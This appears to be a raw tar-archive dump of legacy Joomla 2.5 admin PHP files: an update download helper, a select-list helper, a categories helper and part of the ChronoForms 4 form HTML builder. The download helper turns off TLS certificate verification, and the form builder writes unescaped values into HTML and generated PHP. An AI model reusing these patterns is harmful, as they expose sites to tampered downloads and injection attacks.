			$newURL = $url;

			// Parse the headers
			$lines = explode("\n", $data);
			foreach ($lines as $line)
			{
				if (substr($line, 0, 9) == "Location:")
				{
					$newURL = trim(substr($line, 9));
				}
			}

			if ($url != $newURL)
			{
				return self::getCURL($newURL, $fp);
			}
			else
			{
				return self::getCURL($newURL, $fp, true);
			}
		}
		else
		{
			@curl_setopt($ch, CURLOPT_MAXREDIRS, 20);
			if (function_exists('set_time_limit'))
			{
				set_time_limit(0);
			}
		}

		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Joomla/' . JVERSION);

		if (is_resource($fp))
		{
			curl_setopt($ch, CURLOPT_FILE, $fp);
		}
		else
		{
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		}

		$result = curl_exec($ch);
		curl_close($ch);

		return $result;
	}

	/**
	 * Does the server support URL fopen() wrappers?
	 *
	 * @return bool
	 *
	 * @since   2.5.4
	 */
	private static function hasFOPEN()
	{
		static $result = null;

		if (is_null($result))
		{

			// If we are not allowed to use ini_get, we assume that URL fopen is
			// disabled.
			if (!function_exists('ini_get'))
			{
				$result = false;
			}
			else
			{
				$result = ini_get('allow_url_fopen');
			}
		}

		return $result;
	}

	/**
	 * Download from a URL using URL fopen() wrappers
	 *
	 * @param   string    $url  The URL to download from
	 * @param   resource  $fp   The file pointer to download to; leave null to return the d/l file as a string
	 *
	 * @return  bool|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null)
	 *
	 * @since   2.5.4
	 */
	private static function &getFOPEN($url, $fp = null)
	{
		$result = false;

		// Track errors
		if ( function_exists('ini_set') )
		{
			$track_errors = ini_set('track_errors', true);
		}

		// Open the URL for reading
		if (function_exists('stream_context_create'))
		{
			$opts = stream_context_get_options(stream_context_get_default());
			$opts['http']['user_agent'] = 'Joomla/' . JVERSION;
			$context = stream_context_create($opts);
			$ih = @fopen($url, 'r', false, $context);
		}
		else
		{

			// PHP 4 way (actually, it's just a fallback)
			if ( function_exists('ini_set') )
			{
				ini_set('user_agent', 'Joomla/' . JVERSION);
			}
			$ih = @fopen($url, 'r');
		}

		// If fopen() fails, abort
		if ( !is_resource($ih) )
		{
			return $result;
		}

		// Try to download
		$bytes = 0;
		$result = true;
		$return = '';
		while (!feof($ih) && $result)
		{
			$contents = fread($ih, 4096);
			if ($contents === false)
			{
				@fclose($ih);
				$result = false;
				return $result;
			}
			else
			{
				$bytes += strlen($contents);
				if (is_resource($fp))
				{
					$result = @fwrite($fp, $contents);
				}
				else
				{
					$return .= $contents;
					unset($contents);
				}
			}
		}

		@fclose($ih);

		if (is_resource($fp))
		{
			return $result;
		}
		elseif ( $result === true )
		{
			return $return;
		}
		else
		{
			return $result;
		}
	}

	/**
	 * Detect and return available download "adapters" (not really adapters, as
	 * we don't follow the Adapter pattern, yet)
	 *
	 * @return  array
	 *
	 * @since   2.5.4
	 */
	private static function getAdapters()
	{
		// Detect available adapters
		$adapters = array();
		if (self::hasCURL())
		{
			$adapters[] = 'curl';
		}
		if (self::hasFOPEN())
		{
			$adapters[] = 'fopen';
		}
		return $adapters;
	}

	/**
	 * Change the permissions of a file, optionally using FTP
	 *
	 * @param   string  $path  Absolute path to file
	 * @param   int     $mode  Permissions, e.g. 0755
	 *
	 * @return  boolean True on success
	 *
	 * @since   2.5.4
	 */
	private static function chmod($path, $mode)
	{
		if (is_string($mode))
		{
			$mode = octdec($mode);
			if ( ($mode < 0600) || ($mode > 0777) )
			{
				$mode = 0755;
			}
		}

		// Initialize variables
		jimport('joomla.client.helper');
		$ftpOptions = JClientHelper::getCredentials('ftp');

		// Check to make sure the path valid and clean
		$path = JPath::clean($path);

		if ($ftpOptions['enabled'] == 1)
		{

			// Connect the FTP client
			jimport('joomla.client.ftp');
			$ftp = &JFTP::getInstance(
				$ftpOptions['host'], $ftpOptions['port'], array(),
				$ftpOptions['user'], $ftpOptions['pass']
			);
		}

		if (@chmod($path, $mode))
		{
			$ret = true;
		}
		elseif ($ftpOptions['enabled'] == 1)
		{

			// Translate path and delete
			jimport('joomla.client.ftp');
			$path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/');

			// FTP connector throws an error
			$ret = $ftp->chmod($path, $mode);
		} else
		{
			return false;
		}
	}

}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������select.php������������������������������������������������������������������������������������������0000666�����������������00000002107�15137213176�0006546 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access.
defined('_JEXEC') or die;

/**
 * Joomla! update selection list helper.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 * @since       2.5.4
 */
class JoomlaupdateHelperSelect
{
	/**
	 * Returns an HTML select element with the different extraction modes
	 * 
	 * @param   string  $default  The default value of the select element
	 * 
	 * @return  string
	 *
	 * @since   2.5.4
	 */
	public static function getMethods($default = 'direct')
	{
		$options = array();
		$options[] = JHtml::_('select.option', 'direct', JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_DIRECT'));
		$options[] = JHtml::_('select.option', 'ftp', JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_FTP'));

		return JHtml::_('select.genericlist', $options, 'method', '', 'value', 'text', $default, 'extraction_method');
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������categories.php��������������������������������������������������������������������������������������0000666�����������������00000004616�15137225030�0007413 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * Categories helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_categories
 * @since		1.6
 */
class CategoriesHelper
{
	/**
	 * Configure the Submenu links.
	 *
	 * @param	string	The extension being used for the categories.
	 *
	 * @return	void
	 * @since	1.6
	 */
	public static function addSubmenu($extension)
	{
		// Avoid nonsense situation.
		if ($extension == 'com_categories') {
			return;
		}

		$parts = explode('.', $extension);
		$component = $parts[0];

		if (count($parts) > 1) {
			$section = $parts[1];
		}

		// Try to find the component helper.
		$eName	= str_replace('com_', '', $component);
		$file	= JPath::clean(JPATH_ADMINISTRATOR.'/components/'.$component.'/helpers/'.$eName.'.php');

		if (file_exists($file)) {
			require_once $file;

			$prefix	= ucfirst(str_replace('com_', '', $component));
			$cName	= $prefix.'Helper';

			if (class_exists($cName)) {

				if (is_callable(array($cName, 'addSubmenu'))) {
					$lang = JFactory::getLanguage();
					// loading language file from the administrator/language directory then
					// loading language file from the administrator/components/*extension*/language directory
						$lang->load($component, JPATH_BASE, null, false, true)
						|| $lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component), null, false, true);
 					call_user_func(array($cName, 'addSubmenu'), 'categories'.(isset($section)?'.'.$section:''));
				}
			}
		}
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @param	string	$extension	The extension.
	 * @param	int		$categoryId	The category ID.
	 *
	 * @return	JObject
	 * @since	1.6
	 */
	public static function getActions($extension, $categoryId = 0)
	{
		$user		= JFactory::getUser();
		$result		= new JObject;
		$parts		= explode('.', $extension);
		$component	= $parts[0];

		if (empty($categoryId)) {
			$assetName = $component;
			$level = 'component';
		}
		else {
			$assetName = $component.'.category.'.(int) $categoryId;
			$level = 'category';
		}

		$actions = JAccess::getActions($component, $level);

		foreach ($actions as $action) {
			$result->set($action->name, $user->authorise($action->name, $assetName));
		}

		return $result;
	}
}
������������������������������������������������������������������������������������������������������������������html_helper.php�������������������������������������������������������������������������������������0000666�����������������00000072125�15137226530�0007577 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
* CHRONOFORMS version 4.0
* Copyright (c) 2006 - 2011 Chrono_Man, ChronoEngine.com. All rights reserved.
* Author: Chrono_Man (ChronoEngine.com)
* @license		GNU/GPL
* Visit http://www.ChronoEngine.com for regular updates and information.
**/
defined('_JEXEC') or die('Restricted access');
class HtmlHelper {
	var $data;
	var $advanced_data = false;
	var $containers = array();
	var $containers_endings = array();
	var $divs_containers_ids = array();
	var $divs_containers_ids_count = array();
	
	function __construct(){
		
	}
	
	function url($link = array()){
		$output = '';
		if(is_array($link) && !empty($link)){
			$params = array();
			foreach($link as $param => $value){
				if($param == '#'){
					$params[] = $param.''.$value;
				}else{
					$params[] = $param.'='.$value;
				}
			}
			$output = implode("&amp;", $params);
			$output = "index.php?".$output;			
		}
		return $output;
	}
	
	function link($text = '', $link = array(), $html = array()){
		$output = '';
		if(is_array($link) && !empty($link)){
			$params = array();
			foreach($link as $param => $value){
				if($param == '#'){
					$params[] = $param.''.$value;
				}else{
					$params[] = $param.'='.$value;
				}
			}
			$output = implode("&amp;", $params);
			$output = "index.php?".$output;
			$output = '<a href="'.$output.'" ';
			foreach($html as $tag => $val){
				if($tag == '#'){
					$output .= $tag.''.$val.' ';
				}else{
					$output .= $tag.'="'.$val.'" ';
				}
			}
			$output .= '>'.$text.'</a>';
		}
		return $output;
	}
	
	function image($path = '', $html = array('border' => 0), $link = array()){
		$output = '';
		$output = '<img src="'.$path.'" ';
		if(!isset($html['border'])){
			$html['border'] = 0;
		}
		foreach($html as $tag => $val){
			$output .= $tag.'="'.$val.'" ';
		}
		$output .= ' />';
		if(is_array($link) && !empty($link)){
			$output = $this->link($output, $link);
		}
		return $output;
	}
	
	function input($fieldname = '', $fieldoptions = array(), $do_replacements = false){
		$output = '';
		$tag = array();
		if(!isset($fieldoptions['type'])){
			$fieldoptions['type'] = 'text';
			$fieldoptions['tag'] = 'input';			
		}
		$tag['type'] = $fieldoptions['type'];
		$tag['name'] = $fieldname;
		//fix the quotes in the values
		if(isset($fieldoptions['value'])){
			$fieldoptions['value'] = str_replace('"', "'", $fieldoptions['value']);
		}
		
		//prepare validation classes
    	if(isset($fieldoptions['validations']) && !empty($fieldoptions['validations'])){
    		$validation_classes = explode(",", $fieldoptions['validations']);
    		$validation_classes = array_map('trim', $validation_classes);
    		if($fieldoptions['type'] == 'checkbox_group'){
    			//$validation_classes = array('%checkSelection');
    		}
    		$field_class = array();
    		if(isset($fieldoptions['class'])){
    			$field_class = array($fieldoptions['class']);
    		}
    		$field_class[] = "validate['".implode("','", $validation_classes)."']";
			$fieldoptions['class'] = implode(' ', $field_class);
			unset($fieldoptions['validations']);
		}else{
			unset($fieldoptions['validations']);
		}
		//set id if not set
		if(!isset($fieldoptions['id'])){
			$fieldoptions['id'] = $this->slug($fieldname);
		}
		//reset id if empty
		if(isset($fieldoptions['id']) && !strlen(trim($fieldoptions['id']))){
			unset($fieldoptions['id']);
		}
		//apply the label class
		if(isset($fieldoptions['label']) && !is_array($fieldoptions['label']) && ($fieldoptions['label'] !== false)){
			$fieldoptions['label'] = array('text' => $fieldoptions['label']);
		}
		if(!isset($fieldoptions['label'])){
			$fieldoptions['label'] = false;
		}
		//check if radio to add the div
    	/*if(isset($fieldoptions['type']) && ($fieldoptions['type'] == 'radio') && isset($fieldoptions['label']['text']) && strlen($fieldoptions['label']['text'])){
			$fieldoptions['before'] = '<lable class="ccms_form_label">'.$fieldoptions['label']['text'].'</label>';
    		if(!isset($fieldoptions['legend'])){
    			$fieldoptions['legend'] = false;
    		}
		}*/
		//prepare the tooltips
    	if(isset($fieldoptions['tooltip'])){
    		if(strlen(trim($fieldoptions['tooltip']))){
	    		if(!isset($fieldoptions['after'])){
	    			$fieldoptions['after'] = '';
	    		}
	    		//$tiplink = '<a href="#" title="'.$fieldoptions['label']['text'].'::'.$fieldoptions['tooltip'].'">?</a>';
				$tiplink = '<a href="#">?</a>';
				$fieldoptions['after'] .= '<div title="'.$fieldoptions['label']['text'].'" rel="'.nl2br($fieldoptions['tooltip']).'" class="tooltipimg">'.$tiplink.'</div>';
    		}
			unset($fieldoptions['tooltip']);
		}
    	//prepare the descriptions
    	if(isset($fieldoptions['smalldesc'])){
    		if(strlen(trim($fieldoptions['smalldesc']))){
	    		if(!isset($fieldoptions['after'])){
	    			$fieldoptions['after'] = '';
	    		}
				$fieldoptions['after'] .= '<div class="small-message">'.nl2br($fieldoptions['smalldesc']).'</div>';
    		}
			unset($fieldoptions['smalldesc']);
		}
		//add clear div
		if(!isset($fieldoptions['after'])){
    		$fieldoptions['after'] = '';
    	}
		$fieldoptions['after'] .= '<div class="clear"></div>';
		$fieldoptions['after'] .= '<div id="error-message-'.str_replace('[]', '', $fieldname).'"></div>';
		//set container div options
    	if(!isset($fieldoptions['type'])){
			$fieldoptions['type'] = 'text';
		}
		$div_class = array();
		$div_class[] = 'ccms_form_element';
		$etype = $fieldoptions['type'];
		if(isset($fieldoptions['multiple']) && $fieldoptions['multiple'] == 'checkbox'){
			$etype = 'checkboxgroup';
		}
		$div_class[] = 'cfdiv_'.$etype;
		
		if(isset($fieldoptions['label_over']) && $fieldoptions['label_over'] == true){
			$div_class[] = 'label_over';
			unset($fieldoptions['label_over']);
		}
		if(isset($fieldoptions['label_over'])){
			unset($fieldoptions['label_over']);
		}
		
		$hide_label = false;
		if(isset($fieldoptions['hide_label'])){
			$hide_label = (bool)$fieldoptions['hide_label'];
			unset($fieldoptions['hide_label']);
		}
		
    	if(isset($fieldoptions['radios_over'])){
			if($fieldoptions['radios_over'] == true){
				$div_class[] = 'radios_over';
			}
			unset($fieldoptions['radios_over']);
		}
		
		if(isset($fieldoptions['multiline_start'])){
			if($fieldoptions['multiline_start'] == true){
				$div_class[] = 'multiline_start';
			}
			unset($fieldoptions['multiline_start']);
		}
		if(isset($fieldoptions['multiline_add'])){
			if($fieldoptions['multiline_add'] == true){
				$div_class[] = 'multiline_add';
			}
			unset($fieldoptions['multiline_add']);
		}
		
		if(!isset($fieldoptions['div'])){
			$fieldoptions['div'] = array();
		}
		//$div_prefix = (isset($fieldoptions['id']) && strlen(trim($fieldoptions['id'])) > 0) ? $this->slug($fieldoptions['id']) : 'autoID-'.md5($fieldname.'-'.rand(11111, 99999));
		if(isset($fieldoptions['id']) && strlen(trim($fieldoptions['id'])) > 0){
			$div_prefix = $this->slug($fieldoptions['id']);
		}else{
			$temp_prefix = $this->slug($fieldname);
			if(!in_array($temp_prefix, $this->divs_containers_ids)){
				$div_prefix = $temp_prefix.'1';
				$this->divs_containers_ids[] = $temp_prefix;
				$this->divs_containers_ids_count[$temp_prefix] = array(1);
			}else{
				//get last count
				$last_count = $this->divs_containers_ids_count[$temp_prefix][count($this->divs_containers_ids_count[$temp_prefix]) - 1];
				$div_prefix = $temp_prefix.''.($last_count + 1);
				$this->divs_containers_ids_count[$temp_prefix][] = $last_count + 1;
			}
		}
		$divContainer = array_merge($fieldoptions['div'], array('id' => $div_prefix.'_container_div', 'class' => implode(' ', $div_class), 'style' => array()));
		unset($fieldoptions['div']);
		//add before prefix
		$beforeOutput = '';
		if(isset($fieldoptions['before'])){
    		$beforeOutput = $fieldoptions['before'];
			unset($fieldoptions['before']);
    	}
		//add after prefix
		$afterOutput = '';
		if(isset($fieldoptions['after'])){
    		$afterOutput = $fieldoptions['after'];
			unset($fieldoptions['after']);
    	}
		
		if(isset($fieldoptions['default']) && (!isset($fieldoptions['value']) || (is_string($fieldoptions['value']) && strlen($fieldoptions['value']) == 0))){
			$field_value = $fieldoptions['default'];
			unset($fieldoptions['default']);
		}
		
		//check form data
		if(isset($this->data) && !empty($this->data)){
			if($this->advanced_data === true){
				$no_field_preset_value_exists = (!isset($fieldoptions['value']) || (is_string($fieldoptions['value']) && strlen($fieldoptions['value']) == 0));
				if(is_array($this->data)){
					$data_value = $this->fieldValue($fieldname, $this->data);
					if(!is_null($data_value) && $no_field_preset_value_exists){
						$field_value = $data_value;
					}
				}else if(is_object($this->data)){
					$data_value = $this->fieldValue($fieldname, (array)$this->data);
					if(!is_null($data_value) && $no_field_preset_value_exists){
						$field_value = $data_value;
					}
				}
			}else{
				if(is_array($this->data)){
					if(isset($this->data[$fieldname])){
						$field_value = htmlspecialchars($this->data[$fieldname]);
					}
				}else if(is_object($this->data)){
					if(isset($this->data->$fieldname)){
						$field_value = htmlspecialchars($this->data->$fieldname);
					}
				}
			}
		}
		
		if(isset($field_value)){
			$fieldoptions['value'] = $field_value;
		}
		
		//merge tag with fieldoptions
		$tag = array_merge($fieldoptions, $tag);
		if(isset($tag['label'])){
			unset($tag['label']);
		}
		//close containers
		$old_output = '';
		if(!empty($this->containers) && isset($tag['container_id']) && $tag['container_id'] != $this->containers[count($this->containers) - 1]){
			//we are out of the last container, close it
			$containers = array_reverse($this->containers);
			$containers_endings = array_reverse($this->containers_endings);
			foreach($containers as $k => $container){
				if($container != $tag['container_id']){
					$old_output .= $containers_endings[$k];
					array_pop($this->containers);
					array_pop($this->containers_endings);
				}else{
					break;
				}
			}
		}
		if(isset($tag['container_id'])){
			unset($tag['container_id']);
		}
		//print_r2($fieldoptions);
		switch($fieldoptions['type']){			
			case 'submit':
				unset($fieldoptions['value']);
				$output .= '<input';
				if(isset($tag['button_type'])){
					$tag['type'] = $tag['button_type'];
					unset($tag['button_type']);
				}
				if(isset($tag['button_align'])){
					$divContainer['style'][] = 'text-align:'.$tag['button_align'];
					unset($tag['button_align']);
				}
				foreach($tag as $k => $v){
					if(in_array($k, array('reset_button', 'reset_button_value', 'back_button', 'back_button_value'))){
						continue;
					}
					$output .= ' '.$k.'="'.$v.'"';
				}
				$output .= ' />'."\n";
				if(isset($tag['reset_button']) && (bool)$tag['reset_button'] === true){
					$output .= "&nbsp;<input type='reset' name='reset' value='".$tag['reset_button_value']."' />";
				}
				if(isset($tag['back_button']) && (bool)$tag['back_button'] === true){
					$output .= "&nbsp;<input type='button' name='back' value='".$tag['back_button_value']."' onclick='history.back()' />";
				}				
				unset($fieldoptions['label']);
				break;
			case 'textarea':
				$value = '';
				if(isset($tag['value'])){
					$value = $tag['value'];
					unset($tag['value']);
				}
				if(isset($tag['type'])){
					unset($tag['type']);
				}
				if(isset($tag['wysiwyg_editor']) && $tag['wysiwyg_editor'] == 1){					
					$output .= "<?php \$editor = JFactory::getEditor(); echo \$editor->display('".$fieldname."', '".$value."', ".$fieldoptions['editor_width'].", ".$fieldoptions['editor_height'].", ".$fieldoptions['rows'].", ".$fieldoptions['cols'].", ".$fieldoptions['editor_buttons']."); ?>";
				} else {
					$output .= '<textarea';
					foreach($tag as $k => $v){
						if(in_array($k, array('wysiwyg_editor', 'editor_width', 'editor_height', 'editor_buttons'))){
							continue;
						}
						$output .= ' '.$k.'="'.$v.'"';
					}
					$output .= '>'.$value.'</textarea>'."\n";
				}
				break;
			case 'select':
				if(isset($fieldoptions['value'])){
					if(!empty($fieldoptions['value'])){
						$tag['selected'] = $fieldoptions['value'];
					}
					unset($fieldoptions['value']);
				}
				$output .= '<select';
				$options = array();
				if(isset($tag['options']) && is_array($tag['options'])){
					$options = $tag['options'];
					unset($tag['options']);
					$selected = '';
					if(isset($tag['selected'])){
						$selected = $tag['selected'];
						unset($tag['selected']);
					}
					if(!is_array($selected)){
						$selected = array($selected);
					}
				}
				$empty = false;
				if(isset($tag['empty'])){
					if(!empty($tag['empty']))
					$empty = '<option value="">'.$tag['empty'].'</option>'."\n";
					unset($tag['empty']);
				}
				if(isset($tag['multiple']) && $tag['multiple'] == 1){
					$tag['multiple'] = 'multiple';
					if(strpos($tag['name'], '[]') === false){
						$tag['name'] = $tag['name'].'[]';
					}
				}
				if(isset($tag['type'])){
					unset($tag['type']);
				}
				foreach($tag as $k => $v){
					if(!in_array($k, array('enable_dynamic_data', 'data_path', 'value_key', 'text_key'))){
						$output .= ' '.$k.'="'.$v.'"';
					}
				}
				$output .= '>'."\n";
				if($empty){
					$output .= $empty;
				}
				if(isset($tag['enable_dynamic_data']) && ($tag['enable_dynamic_data'] == 1)){
					if(!empty($tag['data_path']) && !empty($tag['value_key']) && !empty($tag['text_key'])){
						$output .= '
						<?php
						$options_data = $form->get_array_value($form->data, explode(".", "'.$tag["data_path"].'"));
						if(!is_null($options_data) && is_array($options_data)){
							foreach($options_data as $option_data){
								if(isset($option_data["'.$tag["value_key"].'"]) && isset($option_data["'.$tag["text_key"].'"])){
									echo \'<option value="\'.$option_data["'.$tag["value_key"].'"].\'"\'.(in_array($option_data["'.$tag["value_key"].'"], '.var_export($selected, true).') ? \' selected="selected"\' : "").">".$option_data["'.$tag["text_key"].'"]."</option>\n";
								}
							}
						}
						?>
						';
					}
				}else{
					foreach($options as $k => $option){
						$output .= '<option value="'.$k.'"'.(in_array($k, $selected) ? ' selected="selected"' : '').'>'.$option.'</option>'."\n";
					}
				}
				$output .= '</select>'."\n";
				break;
			case 'radio':
				$checked_value = null;
				if(isset($fieldoptions['value'])){
					$checked_value = $fieldoptions['value'];
				}
				unset($fieldoptions['value']);
				$options = array();
				if(isset($tag['options']) && is_array($tag['options'])){
					$options = $tag['options'];
					unset($tag['options']);
				}
				if(isset($tag['ghost'])){
					if((bool)$tag['ghost'] === true){
						$output .= '<input type="hidden" name="'.$fieldname.'" value="'.$tag['ghost_value'].'" alt="ghost" />'."\n";
					}
					unset($tag['ghost']);
					unset($tag['ghost_value']);
				}
				$output .= '<div style="float:left; clear:none;">';
				if(isset($tag['enable_dynamic_data']) && ($tag['enable_dynamic_data'] == 1)){
					if(!empty($tag['data_path']) && !empty($tag['value_key']) && !empty($tag['text_key'])){
						$output .= '
						<?php
						$options_data = $form->get_array_value($form->data, explode(".", "'.$tag["data_path"].'"));
						if(!is_null($options_data) && is_array($options_data)){
							$f_id = 0;
							foreach($options_data as $option_data){
								if(isset($option_data["'.$tag["value_key"].'"]) && isset($option_data["'.$tag["text_key"].'"])){
									echo \'<input type="'.$fieldoptions['type'].'" name="'.$fieldname.'" id="'.$this->slug($fieldname.'-').'\'.$f_id.\'" title="'.$tag['title'].'" value="\'.$option_data["'.$tag["value_key"].'"].\'"\'.(($option_data["'.$tag["value_key"].'"] == '.var_export($checked_value, true).') ? \' checked="checked"\' : \'\').\' class="'.addcslashes($tag['class'], "'").'" />\'."\n";
									echo \'<label for="'.$this->slug($fieldname.'-').'\'.$f_id.\'">\'.$option_data["'.$tag["text_key"].'"].\'</label>\'."\n";
									$f_id++;
								}
							}
						}
						?>
						';
					}
				}else{
					$f_id = 0;
					foreach($options as $k => $option){
						$output .= in_array('radios_over', $div_class) ? '<div>' : '';
						$output .= '<input type="'.$fieldoptions['type'].'" name="'.$fieldname.'" id="'.$this->slug($fieldname.'-'.$f_id).'" title="'.$tag['title'].'" value="'.$k.'"'.(($k == $checked_value) ? ' checked="checked"' : '').' class="'.$tag['class'].'" />'."\n";
						$output .= '<label for="'.$this->slug($fieldname.'-'.$f_id).'">'.$option.'</label>'."\n";
						$output .= in_array('radios_over', $div_class) ? '</div>' : '';
						$f_id++;
					}
				}
				$output .= '</div>';
				break;
			case 'checkbox_group':
				unset($fieldoptions['value']);
				$fieldoptions['type'] = 'checkbox';
				$options = array();
				if(isset($tag['options']) && is_array($tag['options'])){
					$options = $tag['options'];
					unset($tag['options']);
					$checked = false;
					if(isset($tag['selected'])){
						$checked = explode(",", $tag['selected']);
						unset($tag['selected']);
					}
				}
				if(isset($tag['ghost'])){
					if((bool)$tag['ghost'] === true){
						$output .= '<input type="hidden" name="'.$fieldname.'" value="'.$tag['ghost_value'].'" alt="ghost" />'."\n";
					}
					unset($tag['ghost']);
					unset($tag['ghost_value']);
				}
				$output .= '<div style="float:left; clear:none;">';
				if(isset($tag['enable_dynamic_data']) && ($tag['enable_dynamic_data'] == 1)){
					if(!empty($tag['data_path']) && !empty($tag['value_key']) && !empty($tag['text_key'])){
						$output .= '
						<?php
						$options_data = $form->get_array_value($form->data, explode(".", "'.$tag["data_path"].'"));
						if(!is_null($options_data) && is_array($options_data)){
							$f_id = 0;
							foreach($options_data as $option_data){
								if(isset($option_data["'.$tag["value_key"].'"]) && isset($option_data["'.$tag["text_key"].'"])){
									echo \'<input type="'.$fieldoptions['type'].'" name="'.$fieldname.'[]" id="'.$this->slug($fieldname.'-').'\'.$f_id.\'" title="'.$tag['title'].'" value="\'.$option_data["'.$tag["value_key"].'"].\'"\'.(in_array($option_data["'.$tag["value_key"].'"], '.var_export($checked, true).') ? \' checked="checked"\' : \'\').\' class="'.addcslashes($tag['class'], "'").'" />\'."\n";
									echo \'<label for="'.$this->slug($fieldname.'-').'\'.$f_id.\'">\'.$option_data["'.$tag["text_key"].'"].\'</label>\'."\n";
									$f_id++;
								}
							}
						}
						?>
						';
					}
				}else{
					$f_id = 0;
					foreach($options as $k => $option){
						$output .= in_array('radios_over', $div_class) ? '<div>' : '';
						$output .= '<input type="'.$fieldoptions['type'].'" name="'.$fieldname.'[]" id="'.$this->slug($fieldname.'-'.$f_id).'" title="'.$tag['title'].'" value="'.$k.'"'.(in_array($k, $checked) ? ' checked="checked"' : '').' class="'.$tag['class'].'" />'."\n";
						$output .= '<label for="'.$this->slug($fieldname.'-'.$f_id).'">'.$option.'</label>'."\n";
						$output .= in_array('radios_over', $div_class) ? '</div>' : '';
						$f_id++;
					}
				}
				$output .= '</div>';
				break;
			case 'checkbox':
				if(isset($tag['checked'])){
					if((bool)$tag['checked'] === true){
						$tag['checked'] = 'checked';
					}else{
						unset($tag['checked']);
					}
				}
				if(!isset($fieldoptions['id']) || empty($fieldoptions['id'])){
					$tag['id'] = $fieldoptions['id'] = $this->slug($fieldname);
				}
				if(isset($tag['ghost'])){
					if((bool)$tag['ghost'] === true){
						$output .= '<input type="hidden" name="'.$fieldname.'" value="'.$tag['ghost_value'].'" alt="ghost" />'."\n";
					}
					unset($tag['ghost']);
					unset($tag['ghost_value']);
				}
				$full_label = false;
				if(isset($tag['label_position']) && !empty($tag['label_position'])){
					if($tag['label_position'] == 'right'){
						$full_label = true;
					}
					$tag['class'] = strlen($tag['class']) ? $tag['class'].' label_'.$tag['label_position'] : 'label_'.$tag['label_position'];
				}
				unset($tag['label_position']);
				
				$output .= '<input';
				foreach($tag as $k => $v){
					$output .= ' '.$k.'="'.$v.'"';
				}
				$output .= ' />'."\n";
				if(isset($fieldoptions['label']) && $fieldoptions['label'] !== false){
					$class = '';
					if($full_label){
						$class = ' class="full_label"';
					}
					$afterOutput = '<label'.(isset($fieldoptions['id']) ? ' for="'.$fieldoptions['id'].'"' : '').$class.'>'.$fieldoptions['label']['text'].'</label>'.$afterOutput;
					unset($fieldoptions['label']);
				}
				break;
			case 'hidden':
				if(isset($tag['container_id']))unset($tag['container_id']);
				$output .= '<input';
				foreach($tag as $k => $v){
					$output .= ' '.$k.'="'.$v.'"';
				}
				$output .= ' />'."\n";
				$divContainer = '';
				break;
			case 'datetime':
				if(isset($tag['timeonly']) && (int)$tag['timeonly'] == 1){
					$tag['class'] = empty($tag['class']) ? 'cf_time_picker' : $tag['class'].' cf_time_picker';
				}
				if(isset($tag['addtime']) && (int)$tag['addtime'] == 1 && (int)$tag['timeonly'] == 0){
					$tag['class'] = empty($tag['class']) ? 'cf_datetime_picker' : $tag['class'].' cf_datetime_picker';
				}
				if((int)$tag['timeonly'] == 0 && (int)$tag['addtime'] == 0){
					$tag['class'] = empty($tag['class']) ? 'cf_date_picker' : $tag['class'].' cf_date_picker';
				}
				if(isset($tag['timeonly']))unset($tag['timeonly']);
				if(isset($tag['addtime']))unset($tag['addtime']);
				unset($tag['tag']);
				unset($tag['wf_key']);
				$tag['type'] = 'text';
				$output .= '<input';
				foreach($tag as $k => $v){
					$output .= ' '.$k.'="'.$v.'"';
				}
				$output .= ' />'."\n";
				break;
			case 'custom':
				$output = $tag['code'];
				if((int)$tag['clean'] == 1){
					$divContainer = '';
					$beforeOutput = '';
					$afterOutput = '';
				}
				break;
			case 'header':
				$output = $tag['code'];
				//$divContainer['id'] = md5($this->slug($tag['code'])).$divContainer['id'];
				$afterOutput = '<div class="clear"></div>';
				if((int)$tag['clean'] == 1){
					$divContainer = '';
					$beforeOutput = '';
					$afterOutput = '';
				}
				break;
			case 'container':
				$container_open = '';
				$container_close = '';
				if(isset($tag['container_type'])){
					if($tag['container_type'] == 'div'){
						$container_open = '<div class="cf_container ccms_form_element '.$tag['container_class'].'" id="cf_container_'.$tag['wf_key'].'">';
						$container_close = '<div class="clear"></div></div>';
					}else if($tag['container_type'] == 'fieldset'){
						$container_open = '<fieldset class="cf_container ccms_form_element '.$tag['container_class'].'" id="cf_container_'.$tag['wf_key'].'"><legend>'.$tag['area_label'].'</legend>';
						$container_close = '</fieldset>';
					}else if($tag['container_type'] == 'custom'){
						$container_open = $tag['start_code'];
						$container_close = $tag['end_code'];
					}else if($tag['container_type'] == 'tabs_area'){
						$container_open = "\n".'<div class="ccms_form_element">
							<?php
								jimport("joomla.html.pane");
								$pane = JPane::getInstance("tabs");
								echo $pane->startPane("cf_container_'.$tag['wf_key'].'");
							?>'."\n";
						$container_close = "\n".'<?php if(isset($pane)){echo $pane->endPane();} ?>
							<div class="clear"></div>
						</div>'."\n";
					}else if($tag['container_type'] == 'tab'){
